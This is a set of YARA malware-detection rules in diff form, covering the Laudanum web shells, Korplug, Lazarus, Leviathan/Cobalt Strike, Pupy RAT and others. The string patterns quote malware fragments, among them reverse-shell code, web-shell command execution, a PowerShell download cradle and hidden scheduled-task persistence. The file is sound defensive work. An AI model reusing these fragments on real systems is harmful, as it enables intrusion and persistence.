$s1 = "http.SetRequestHeader \"Content-Type\", \"application/json\" " fullword ascii
|
||||
$s2 = "Dim http,WMI,Objs,Process" fullword ascii
|
||||
$s3 = "Set Objs=WMI.InstancesOf(\"Win32_Process\")" fullword ascii
|
||||
$s4 = "'WScript.Echo http.responseText " fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x3f3c and filesize < 1KB and ( 1 of ($x*) or 4 of them )
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
rule Korplug_FAST {
|
||||
meta:
|
||||
description = "Rule to detect Korplug/PlugX FAST variant"
|
||||
author = "Florian Roth"
|
||||
date = "2015-08-20"
|
||||
hash = "c437465db42268332543fbf6fd6a560ca010f19e0fd56562fb83fb704824b371"
|
||||
strings:
|
||||
$x1 = "%s\\rundll32.exe \"%s\", ShadowPlay" fullword ascii
|
||||
|
||||
$a1 = "ShadowPlay" fullword ascii
|
||||
|
||||
$s1 = "%s\\rundll32.exe \"%s\"," fullword ascii
|
||||
$s2 = "nvdisps.dll" fullword ascii
|
||||
$s3 = "%snvdisps.dll" fullword ascii
|
||||
$s4 = "\\winhlp32.exe" fullword ascii
|
||||
$s5 = "nvdisps_user.dat" fullword ascii
|
||||
$s6 = "%snvdisps_user.dat" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 500KB and
|
||||
(
|
||||
$x1 or
|
||||
($a1 and 1 of ($s*)) or
|
||||
4 of ($s*)
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,309 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2015-06-22
|
||||
Identifier: Laudanum
|
||||
*/
|
||||
|
||||
rule asp_file {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file file.asp"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "ff5b1a9598735440bdbaa768b524c639e22f53c5"
|
||||
strings:
|
||||
$s1 = "' *** Written by Tim Medin <tim@counterhack.com>" fullword ascii
|
||||
$s2 = "Response.BinaryWrite(stream.Read)" fullword ascii
|
||||
$s3 = "Response.Write(Response.Status & Request.ServerVariables(\"REMOTE_ADDR\"))" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s4 = "%><a href=\"<%=Request.ServerVariables(\"URL\")%>\">web root</a><br/><%" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s5 = "set folder = fso.GetFolder(path)" fullword ascii
|
||||
$s6 = "Set file = fso.GetFile(filepath)" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x253c and filesize < 30KB and 5 of them
|
||||
}
|
||||
|
||||
rule php_killnc {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file killnc.php"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
|
||||
strings:
|
||||
$s1 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "header(\"HTTP/1.0 404 Not Found\");" fullword ascii
|
||||
$s3 = "<?php echo exec('killall nc');?>" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s4 = "<title>Laudanum Kill nc</title>" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s5 = "foreach ($allowedIPs as $IP) {" fullword ascii
|
||||
condition:
|
||||
filesize < 15KB and 4 of them
|
||||
}
|
||||
|
||||
rule asp_shell {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file shell.asp"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "8bf1ff6f8edd45e3102be5f8a1fe030752f45613"
|
||||
strings:
|
||||
$s1 = "<form action=\"shell.asp\" method=\"POST\" name=\"shell\">" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "%ComSpec% /c dir" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "Set objCmd = wShell.Exec(cmd)" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s4 = "Server.ScriptTimeout = 180" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s5 = "cmd = Request.Form(\"cmd\")" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s6 = "' *** http://laudanum.secureideas.net" fullword ascii
|
||||
$s7 = "Dim wshell, intReturn, strPResult" fullword ascii /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
filesize < 15KB and 4 of them
|
||||
}
|
||||
|
||||
rule settings {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file settings.php"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
|
||||
strings:
|
||||
$s1 = "Port: <input name=\"port\" type=\"text\" value=\"8888\">" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "<li>Reverse Shell - " fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "<li><a href=\"<?php echo plugins_url('file.php', __FILE__);?>\">File Browser</a>" ascii /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
filesize < 13KB and all of them
|
||||
}
|
||||
|
||||
rule asp_proxy {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file proxy.asp"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "51e97040d1737618b1775578a772fa6c5a31afd8"
|
||||
strings:
|
||||
$s1 = "'response.write \"<br/> -value:\" & request.querystring(key)(j)" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "q = q & \"&\" & key & \"=\" & request.querystring(key)(j)" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "for each i in Split(http.getAllResponseHeaders, vbLf)" fullword ascii
|
||||
$s4 = "'urlquery = mid(urltemp, instr(urltemp, \"?\") + 1)" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s5 = "s = urlscheme & urlhost & urlport & urlpath" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s6 = "Set http = Server.CreateObject(\"Microsoft.XMLHTTP\")" fullword ascii /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
filesize < 50KB and all of them
|
||||
}
|
||||
|
||||
rule cfm_shell {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file shell.cfm"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "885e1783b07c73e7d47d3283be303c9719419b92"
|
||||
strings:
|
||||
$s1 = "Executable: <Input type=\"text\" name=\"cmd\" value=\"cmd.exe\"><br>" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "<cfif ( #suppliedCode# neq secretCode )>" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "<cfif IsDefined(\"form.cmd\")>" fullword ascii
|
||||
condition:
|
||||
filesize < 20KB and 2 of them
|
||||
}
|
||||
|
||||
rule aspx_shell {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file shell.aspx"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
|
||||
strings:
|
||||
$s1 = "remoteIp = HttpContext.Current.Request.Headers[\"X-Forwarded-For\"].Split(new" ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "remoteIp = Request.UserHostAddress;" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "<form method=\"post\" name=\"shell\">" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s4 = "<body onload=\"document.shell.c.focus()\">" fullword ascii /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
filesize < 20KB and all of them
|
||||
}
|
||||
|
||||
rule php_shell {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file shell.php"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
|
||||
strings:
|
||||
$s1 = "command_hist[current_line] = document.shell.command.value;" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "if (e.keyCode == 38 && current_line < command_hist.length-1) {" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "array_unshift($_SESSION['history'], $command);" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s4 = "if (preg_match('/^[[:blank:]]*cd[[:blank:]]*$/', $command)) {" fullword ascii /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
filesize < 40KB and all of them
|
||||
}
|
||||
|
||||
rule php_reverse_shell {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file php-reverse-shell.php"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "3ef03bbe3649535a03315dcfc1a1208a09cea49d"
|
||||
strings:
|
||||
$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "printit(\"Successfully opened reverse shell to $ip:$port\");" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "$input = fread($pipes[1], $chunk_size);" fullword ascii /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
filesize < 15KB and all of them
|
||||
}
|
||||
|
||||
rule php_dns {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file dns.php"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
|
||||
strings:
|
||||
$s1 = "$query = isset($_POST['query']) ? $_POST['query'] : '';" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "$result = dns_get_record($query, $types[$type], $authns, $addtl);" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s4 = "foreach (array_keys($types) as $t) {" fullword ascii
|
||||
condition:
|
||||
filesize < 15KB and all of them
|
||||
}
|
||||
|
||||
rule WEB_INF_web {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file web.xml"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "0251baed0a16c451f9d67dddce04a45dc26cb4a3"
|
||||
strings:
|
||||
$s1 = "<servlet-name>Command</servlet-name>" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "<jsp-file>/cmd.jsp</jsp-file>" fullword ascii
|
||||
condition:
|
||||
filesize < 1KB and all of them
|
||||
}
|
||||
|
||||
rule jsp_cmd {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file cmd.war"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "55e4c3dc00cfab7ac16e7cfb53c11b0c01c16d3d"
|
||||
strings:
|
||||
$s0 = "cmd.jsp}" fullword ascii
|
||||
$s1 = "cmd.jspPK" fullword ascii
|
||||
$s2 = "WEB-INF/web.xml" fullword ascii /* Goodware String - occured 1 times */
|
||||
$s3 = "WEB-INF/web.xmlPK" fullword ascii /* Goodware String - occured 1 times */
|
||||
$s4 = "META-INF/MANIFEST.MF" fullword ascii /* Goodware String - occured 12 times */
|
||||
condition:
|
||||
uint16(0) == 0x4b50 and filesize < 2KB and all of them
|
||||
}
|
||||
|
||||
rule laudanum {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file laudanum.php"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
|
||||
strings:
|
||||
$s1 = "public function __activate()" fullword ascii
|
||||
$s2 = "register_activation_hook(__FILE__, array('WP_Laudanum', 'activate'));" fullword ascii /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
filesize < 5KB and all of them
|
||||
}
|
||||
|
||||
rule php_file {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file file.php"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "7421d33e8007c92c8642a36cba7351c7f95a4335"
|
||||
strings:
|
||||
$s1 = "$allowedIPs =" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "<a href=\"<?php echo $_SERVER['PHP_SELF'] ?>\">Home</a><br/>" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "$dir = isset($_GET[\"dir\"]) ? $_GET[\"dir\"] : \".\";" fullword ascii
|
||||
$s4 = "$curdir .= substr($curdir, -1) != \"/\" ? \"/\" : \"\";" fullword ascii
|
||||
condition:
|
||||
filesize < 10KB and all of them
|
||||
}
|
||||
|
||||
rule warfiles_cmd {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file cmd.jsp"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "3ae3d837e7b362de738cf7fad78eded0dccf601f"
|
||||
strings:
|
||||
$s1 = "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<BR>\");" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "<FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\">" fullword ascii
|
||||
$s4 = "String disr = dis.readLine();" fullword ascii
|
||||
condition:
|
||||
filesize < 2KB and all of them
|
||||
}
|
||||
|
||||
rule asp_dns {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file dns.asp"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "5532154dd67800d33dace01103e9b2c4f3d01d51"
|
||||
strings:
|
||||
$s1 = "command = \"nslookup -type=\" & qtype & \" \" & query " fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s2 = "Set objCmd = objWShell.Exec(command)" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s3 = "Response.Write command & \"<br>\"" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s4 = "<form name=\"dns\" method=\"POST\">" fullword ascii /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
filesize < 21KB and all of them
|
||||
}
|
||||
|
||||
rule php_reverse_shell_2 {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools - file php-reverse-shell.php"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
hash = "025db3c3473413064f0606d93d155c7eb5049c42"
|
||||
strings:
|
||||
$s1 = "$process = proc_open($shell, $descriptorspec, $pipes);" fullword ascii /* PEStudio Blacklist: strings */
|
||||
$s7 = "$shell = 'uname -a; w; id; /bin/sh -i';" fullword ascii /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
filesize < 10KB and all of them
|
||||
}
|
||||
|
||||
rule Laudanum_Tools_Generic {
|
||||
meta:
|
||||
description = "Laudanum Injector Tools"
|
||||
author = "Florian Roth"
|
||||
reference = "http://laudanum.inguardians.com/"
|
||||
date = "2015-06-22"
|
||||
super_rule = 1
|
||||
hash0 = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
|
||||
hash1 = "885e1783b07c73e7d47d3283be303c9719419b92"
|
||||
hash2 = "01d5d16d876c55d77e094ce2b9c237de43b21a16"
|
||||
hash3 = "7421d33e8007c92c8642a36cba7351c7f95a4335"
|
||||
hash4 = "f49291aef9165ee4904d2d8c3cf5a6515ca0794f"
|
||||
hash5 = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
|
||||
hash6 = "f32b9c2cc3a61fa326e9caebce28ef94a7a00c9a"
|
||||
hash7 = "dc5c03a21267d024ef0f5ab96a34e3f6423dfcd6"
|
||||
hash8 = "fd498c8b195967db01f68776ff5e36a06c9dfbfe"
|
||||
hash9 = "b50ae35fcf767466f6ca25984cc008b7629676b8"
|
||||
hash10 = "5570d10244d90ef53b74e2ac287fc657e38200f0"
|
||||
hash11 = "42bcb491a11b4703c125daf1747cf2a40a1b36f3"
|
||||
hash12 = "83e4eaaa2cf6898d7f83ab80158b64b1d48096f4"
|
||||
hash13 = "dec7ea322898690a7f91db9377f035ad7072b8d7"
|
||||
hash14 = "a2272b8a4221c6cc373915f0cc555fe55d65ac4d"
|
||||
hash15 = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
|
||||
hash16 = "43320dc23fb2ed26b882512e7c0bfdc64e2c1849"
|
||||
strings:
|
||||
$s1 = "*** laudanum@secureideas.net" fullword ascii
|
||||
$s2 = "*** Laudanum Project" fullword ascii
|
||||
condition:
|
||||
filesize < 60KB and all of them
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-12-20
|
||||
Identifier: Lazarus malware
|
||||
Reference: https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Lazarus_Dec_17_1 {
|
||||
meta:
|
||||
description = "Detects Lazarus malware from incident in Dec 2017"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/8U6fY2"
|
||||
date = "2017-12-20"
|
||||
hash1 = "d5f9a81df5061c69be9c0ed55fba7d796e1a8ebab7c609ae437c574bd7b30b48"
|
||||
strings:
|
||||
$s1 = "::DataSpace/Storage/MSCompressed/Transform/" ascii
|
||||
$s2 = "HHA Version 4." ascii
|
||||
$s3 = { 74 45 58 74 53 6F 66 74 77 61 72 65 00 41 64 6F
|
||||
62 65 20 49 6D 61 67 65 52 65 61 64 79 71 }
|
||||
$s4 = "bUEeYE" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5449 and filesize < 4000KB and all of them
|
||||
}
|
||||
|
||||
rule Lazarus_Dec_17_2 {
|
||||
meta:
|
||||
description = "Detects Lazarus malware from incident in Dec 2017"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/8U6fY2"
|
||||
date = "2017-12-20"
|
||||
hash1 = "cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411"
|
||||
hash2 = "9ca3e56dcb2d1b92e88a0d09d8cab2207ee6d1f55bada744ef81e8b8cf155453"
|
||||
strings:
|
||||
$s1 = "SkypeSetup.exe" fullword wide
|
||||
$s2 = "%s\\SkypeSetup.exe" fullword ascii
|
||||
$s3 = "Skype Technologies S.A." fullword wide
|
||||
|
||||
$a1 = "Microsoft Code Signing PCA" ascii wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 7000KB and (
|
||||
all of ($s*) and not $a1
|
||||
)
|
||||
}
|
||||
|
||||
rule Lazarus_Dec_17_4 {
|
||||
meta:
|
||||
description = "Detects Lazarus malware from incident in Dec 2017ithumb.js"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/8U6fY2"
|
||||
date = "2017-12-20"
|
||||
hash1 = "8ff100ca86cb62117f1290e71d5f9c0519661d6c955d9fcfb71f0bbdf75b51b3"
|
||||
hash2 = "7975c09dd436fededd38acee9769ad367bfe07c769770bd152f33a10ed36529e"
|
||||
strings:
|
||||
$s1 = "var _0xf5ed=[\"\\x57\\x53\\x63\\x72\\x69\\x70\\x74\\x2E\\x53\\x68\\x65\\x6C\\x6C\"," ascii
|
||||
condition:
|
||||
filesize < 9KB and 1 of them
|
||||
}
|
||||
|
||||
rule Lazarus_Dec_17_5 {
|
||||
meta:
|
||||
description = "Detects Lazarus malware from incident in Dec 2017"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/8U6fY2"
|
||||
date = "2017-12-20"
|
||||
hash1 = "db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471"
|
||||
strings:
|
||||
$x1 = "$ProID = Start-Process powershell.exe -PassThru -WindowStyle Hidden -ArgumentList" fullword ascii
|
||||
$x2 = "$respTxt = HttpRequestFunc_doprocess -szURI $szFullURL -szMethod $szMethod -contentData $contentData;" fullword ascii
|
||||
$x3 = "[String]$PS_PATH = \"C:\\\\Users\\\\Public\\\\Documents\\\\ProxyAutoUpdate.ps1\";" fullword ascii
|
||||
$x4 = "$cmdSchedule = 'schtasks /create /tn \"ProxyServerUpdater\"" ascii
|
||||
$x5 = "/tr \"powershell.exe -ep bypass -windowstyle hidden -file " ascii
|
||||
$x6 = "C:\\\\Users\\\\Public\\\\Documents\\\\tmp' + -join " ascii
|
||||
$x7 = "$cmdResult = cmd.exe /c $cmdInst | Out-String;" fullword ascii
|
||||
$x8 = "whoami /groups | findstr /c:\"S-1-5-32-544\"" fullword ascii
|
||||
condition:
|
||||
filesize < 500KB and 1 of them
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-10-18
|
||||
Identifier: Leviathan Phishing Attacks
|
||||
Reference: https://goo.gl/MZ7dRg
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule SeDLL_Javascript_Decryptor {
|
||||
meta:
|
||||
description = "Detects SeDll - DLL is used for decrypting and executing another JavaScript backdoor such as Orz"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/MZ7dRg"
|
||||
date = "2017-10-18"
|
||||
hash1 = "146aa9a0ec013aa5bdba9ea9d29f59d48d43bc17c6a20b74bb8c521dbb5bc6f4"
|
||||
strings:
|
||||
$x1 = "SEDll_Win32.dll" fullword ascii
|
||||
$x2 = "regsvr32 /s \"%s\" DR __CIM__" fullword wide
|
||||
|
||||
$s1 = "WScriptW" fullword ascii
|
||||
$s2 = "IWScript" fullword ascii
|
||||
$s3 = "%s\\%s~%d" fullword wide
|
||||
$s4 = "PutBlockToFileWW" fullword ascii
|
||||
$s5 = "CheckUpAndDownWW" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 40KB and ( 1 of ($x*) or 4 of them )
|
||||
}
|
||||
|
||||
rule Leviathan_CobaltStrike_Sample_1 {
|
||||
meta:
|
||||
description = "Detects Cobalt Strike sample from Leviathan report"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/MZ7dRg"
|
||||
date = "2017-10-18"
|
||||
hash1 = "5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362"
|
||||
strings:
|
||||
$x1 = "a54c81.dll" fullword ascii
|
||||
$x2 = "%d is an x64 process (can't inject x86 content)" fullword ascii
|
||||
$x3 = "Failed to impersonate logged on user %d (%u)" fullword ascii
|
||||
|
||||
$s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
|
||||
$s2 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
|
||||
$s3 = "could not run command (w/ token) because of its length of %d bytes!" fullword ascii
|
||||
$s4 = "could not write to process memory: %d" fullword ascii
|
||||
$s5 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
|
||||
$s6 = "Could not connect to pipe (%s): %d" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 3 of them )
|
||||
}
|
||||
|
||||
rule MockDll_Gen {
|
||||
meta:
|
||||
description = "Detects MockDll - regsvr DLL loader"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/MZ7dRg"
|
||||
date = "2017-10-18"
|
||||
hash1 = "bfc5c6817ff2cc4f3cd40f649e10cc9ae1e52139f35fdddbd32cb4d221368922"
|
||||
hash2 = "80b931ab1798d7d8a8d63411861cee07e31bb9a68f595f579e11d3817cfc4aca"
|
||||
strings:
|
||||
$x1 = "mock_run_ini_Win32.dll" fullword ascii
|
||||
$x2 = "mock_run_ini_x64.dll" fullword ascii
|
||||
|
||||
$s1 = "RealCmd=%s %s" fullword ascii
|
||||
$s2 = "MockModule=%s" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 20KB and ( 1 of ($x*) or 2 of them )
|
||||
}
|
||||
|
||||
rule VBScript_Favicon_File {
|
||||
meta:
|
||||
description = "VBScript cloaked as Favicon file used in Leviathan incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/MZ7dRg"
|
||||
date = "2017-10-18"
|
||||
hash1 = "39c952c7e14b6be5a9cb1be3f05eafa22e1115806e927f4e2dc85d609bc0eb36"
|
||||
strings:
|
||||
$x1 = "myxml = '<?xml version=\"\"1.0\"\" encoding=\"\"UTF-8\"\"?>';myxml = myxml +'<root>" ascii
|
||||
$x2 = ".Run \"taskkill /im mshta.exe" ascii
|
||||
$x3 = "<script language=\"VBScript\">Window.ReSizeTo 0, 0 : Window.moveTo -2000,-2000 :" ascii
|
||||
|
||||
$s1 = ".ExpandEnvironmentStrings(\"%ALLUSERSPROFILE%\") &" fullword ascii
|
||||
$s2 = ".ExpandEnvironmentStrings(\"%temp%\") & " ascii
|
||||
condition:
|
||||
filesize < 100KB and ( uint16(0) == 0x733c and 1 of ($x*) )
|
||||
or ( 3 of them )
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2018-01-24
|
||||
Identifier: Lotus Blossom Elise Malware
|
||||
Reference: https://community.rsa.com/community/products/netwitness/blog/2018/01/30/apt32-continues-asean-targeting
|
||||
*/
|
||||
|
||||
import "pe"
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Elise_Jan18_1 {
|
||||
meta:
|
||||
description = "Detects Elise malware samples - fake Norton Security NavShExt.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "https://twitter.com/blu3_team/status/955971742329135105"
|
||||
date = "2018-01-24"
|
||||
hash1 = "6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79"
|
||||
strings:
|
||||
$s1 = "NavShExt.dll" fullword wide
|
||||
$s2 = "Norton Security" fullword wide
|
||||
|
||||
$a1 = "donotbotherme" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 250KB and (
|
||||
pe.imphash() == "e9478ee4ebf085d1f14f64ba96ef082f" or
|
||||
( 1 of ($s*) and $a1 )
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-02-17
|
||||
Identifier: Magic Hound
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule APT_PupyRAT_PY {
|
||||
meta:
|
||||
description = "Detects Pupy RAT"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"
|
||||
date = "2017-02-17"
|
||||
hash1 = "8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71"
|
||||
strings:
|
||||
$x1 = "reflective_inject_dll" fullword ascii
|
||||
$x2 = "ImportError: pupy builtin module not found !" fullword ascii
|
||||
$x3 = "please start pupy from either it's exe stub or it's reflective DLLR;" fullword ascii
|
||||
$x4 = "[INJECT] inject_dll." fullword ascii
|
||||
$x5 = "import base64,zlib;exec zlib.decompress(base64.b64decode('eJzzcQz1c/ZwDbJVT87Py0tNLlHnAgA56wXS'))" fullword ascii
|
||||
|
||||
$op1 = { 8b 42 0c 8b 78 14 89 5c 24 18 89 7c 24 14 3b fd } /* Opcode */
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 20000KB and 1 of them ) or ( 2 of them )
|
||||
}
|
||||
|
||||
/* Super Rules ------------------------------------------------------------- */
|
||||
|
||||
rule APT_MagicHound_MalMacro {
|
||||
meta:
|
||||
description = "Detects malicious macro / powershell in Office document"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"
|
||||
date = "2017-02-17"
|
||||
super_rule = 1
|
||||
hash1 = "66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b"
|
||||
hash2 = "e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6"
|
||||
strings:
|
||||
$s1 = "powershell.exe " fullword ascii
|
||||
$s2 = "CommandButton1_Click" fullword ascii
|
||||
$s3 = "URLDownloadToFile" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0xcfd0 and filesize < 8000KB and all of them )
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-09-26
|
||||
Identifier: Microcin
|
||||
Reference: https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
import "pe"
|
||||
|
||||
